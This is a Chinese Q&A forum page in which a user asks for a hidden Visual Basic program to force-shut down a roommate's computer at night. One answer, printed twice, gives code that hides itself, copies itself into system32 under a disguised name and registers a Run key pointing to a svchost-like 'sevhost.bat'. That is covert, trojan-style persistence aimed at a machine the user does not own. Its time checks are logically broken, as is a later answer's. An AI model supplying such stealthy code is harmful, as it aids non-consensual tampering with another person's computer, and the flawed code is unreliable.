VB制作半夜开机后自动关机程序
各位兄弟:本人想请教一个问题,我想用VB作一个程序,因为我们宿舍有个同事老是半夜起来开机玩电脑,我想用这个程序限定他,如果在关夜指定时间段内开机,那么就会自动关机。这个程...
各位兄弟:本人想请教一个问题,我想用VB作一个程序,因为我们宿舍有个同事老是半夜起来开机玩电脑,我想用这个程序限定他,如果在关夜指定时间段内开机,那么就会自动关机。
这个程序是开机自动运行的,不会在任务栏内和托盘内有显示。
四楼的朋友写了很多,首先先要谢谢你的好意,不过很多部分的好像是API函数,有点看不懂,要是每一段都有汉字解释就好的,谢谢 展开
这个程序是开机自动运行的,不会在任务栏内和托盘内有显示。
四楼的朋友写了很多,首先先要谢谢你的好意,不过很多部分的好像是API函数,有点看不懂,要是每一段都有汉字解释就好的,谢谢 展开
展开全部
标记。。。
做这个很辛苦的,全都按你所说,已经完成了,给点分吧老大。。。
我设定的是在凌晨三点之前只要开机就会把它关掉,而且导入注册表,你可以修改这个限定时间。但是忠告你,不要随便做木马什么东东的,出了事情自己负责。
要注释啊。OK
Const HKEY_USER = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Const REG_SZ = 1
定义主键,待会导入注册表要用到,下面几个函数分别是创建注册表项,设定值名称,设置值,关闭注册表编辑操作
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'开机启动模块,这里导入注册表的操作
Private Sub MainSub()
Dim hKey As Long
Dim SubKey As String
Dim sName As String
Dim Exe As String
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
sName = "默认"
Exe = "C:\windows\system32\sevhost.bat"
RegCreateKey HKEY_CURRENT_USER, SubKey, hKey
RegSetValueEx hKey, sName, 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
RegCloseKey hKey
End Sub
载入窗体的时候,初始化各个条件。判断自己的位置,在复制自己到C盘下并改名
Private Sub Form_Load()
'————————————————————
Timer1.Interval = 60000
Timer1.Enabled = False
Me.Visible = False
App.TaskVisible = False
'————————————————————
If Dir("C:\windows\system32\autorun.bat") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\system32\autorun.bat"
Call MainSub
Unload Me
Else
Timer1.Enabled = True
End If
End Sub
用计时器来检测此刻的时间,如果在运行在凌晨3点和晚上11点之间,就关闭计算机
Private Sub Timer1_Timer()
If Hour(Time) < 3 And Hour(Time) >23 Then
Open Environ$("Windir") & "\system32\Cmd.exe" For Binary As #1
Shell ("C:\windows\system32\shutdown.exe -s -t 6 -c '熬夜对身体不好!'")
Beep
Beep
Timer1.Enabled = False
Unload Me
End If
End Sub
做这个很辛苦的,全都按你所说,已经完成了,给点分吧老大。。。
我设定的是在凌晨三点之前只要开机就会把它关掉,而且导入注册表,你可以修改这个限定时间。但是忠告你,不要随便做木马什么东东的,出了事情自己负责。
要注释啊。OK
Const HKEY_USER = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
Const HKEY_CURRENT_CONFIG = &H80000005
Const HKEY_DYN_DATA = &H80000006
Const REG_SZ = 1
定义主键,待会导入注册表要用到,下面几个函数分别是创建注册表项,设定值名称,设置值,关闭注册表编辑操作
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
'开机启动模块,这里导入注册表的操作
Private Sub MainSub()
Dim hKey As Long
Dim SubKey As String
Dim sName As String
Dim Exe As String
SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
sName = "默认"
Exe = "C:\windows\system32\sevhost.bat"
RegCreateKey HKEY_CURRENT_USER, SubKey, hKey
RegSetValueEx hKey, sName, 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
RegCloseKey hKey
End Sub
载入窗体的时候,初始化各个条件。判断自己的位置,在复制自己到C盘下并改名
Private Sub Form_Load()
'————————————————————
Timer1.Interval = 60000
Timer1.Enabled = False
Me.Visible = False
App.TaskVisible = False
'————————————————————
If Dir("C:\windows\system32\autorun.bat") = "" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\system32\autorun.bat"
Call MainSub
Unload Me
Else
Timer1.Enabled = True
End If
End Sub
用计时器来检测此刻的时间,如果在运行在凌晨3点和晚上11点之间,就关闭计算机
Private Sub Timer1_Timer()
If Hour(Time) < 3 And Hour(Time) >23 Then
Open Environ$("Windir") & "\system32\Cmd.exe" For Binary As #1
Shell ("C:\windows\system32\shutdown.exe -s -t 6 -c '熬夜对身体不好!'")
Beep
Beep
Timer1.Enabled = False
Unload Me
End If
End Sub
力控科技
2024-12-19 广告
2024-12-19 广告
第一步:看XPE是什么版,如果内核是英文版,需要安装一个MUI包,即语言包。第二步:进入控制面板-区域和语言选项,如下图,在区域选项中,选择“中文(中国)”,位置也为“中国”,在高级选项中,代码页转换表中,将所有的“简体中文”都选择上。...
点击进入详情页
本回答由力控科技提供
展开全部
晕哦 ,写个程序,写入开机启动,然后运行就检测时间,关机不能吓人,自己写个恐怖程序!
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
做一个无form程序:
新建工程。删除form1,添加模块。输入:
Sub Main()
Dim h as integer
h = Hour(Now)
If h < 12 Then h = h + 24
If h >= 23 And h <= 24 + 6 Then '23点到早6点
Shell "shutdown -s -f "
End If
End Sub
然后,把编译后程序加入启动组。
新建工程。删除form1,添加模块。输入:
Sub Main()
Dim h as integer
h = Hour(Now)
If h < 12 Then h = h + 24
If h >= 23 And h <= 24 + 6 Then '23点到早6点
Shell "shutdown -s -f "
End If
End Sub
然后,把编译后程序加入启动组。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
简单点的
if time > 00:00:00 and time > 5:00:00 then '12点到5点这个时间关机
Shell "shutdown -s -f " ’关机了
end if
不是代码写的越多就表示越好。
if time > 00:00:00 and time > 5:00:00 then '12点到5点这个时间关机
Shell "shutdown -s -f " ’关机了
end if
不是代码写的越多就表示越好。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
你还挺黑...
写一个程序自动调用系统的关机程序,一个EXE文件,SHUTDOWN
然后写个写入注册表就可以了
写一个程序自动调用系统的关机程序,一个EXE文件,SHUTDOWN
然后写个写入注册表就可以了
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询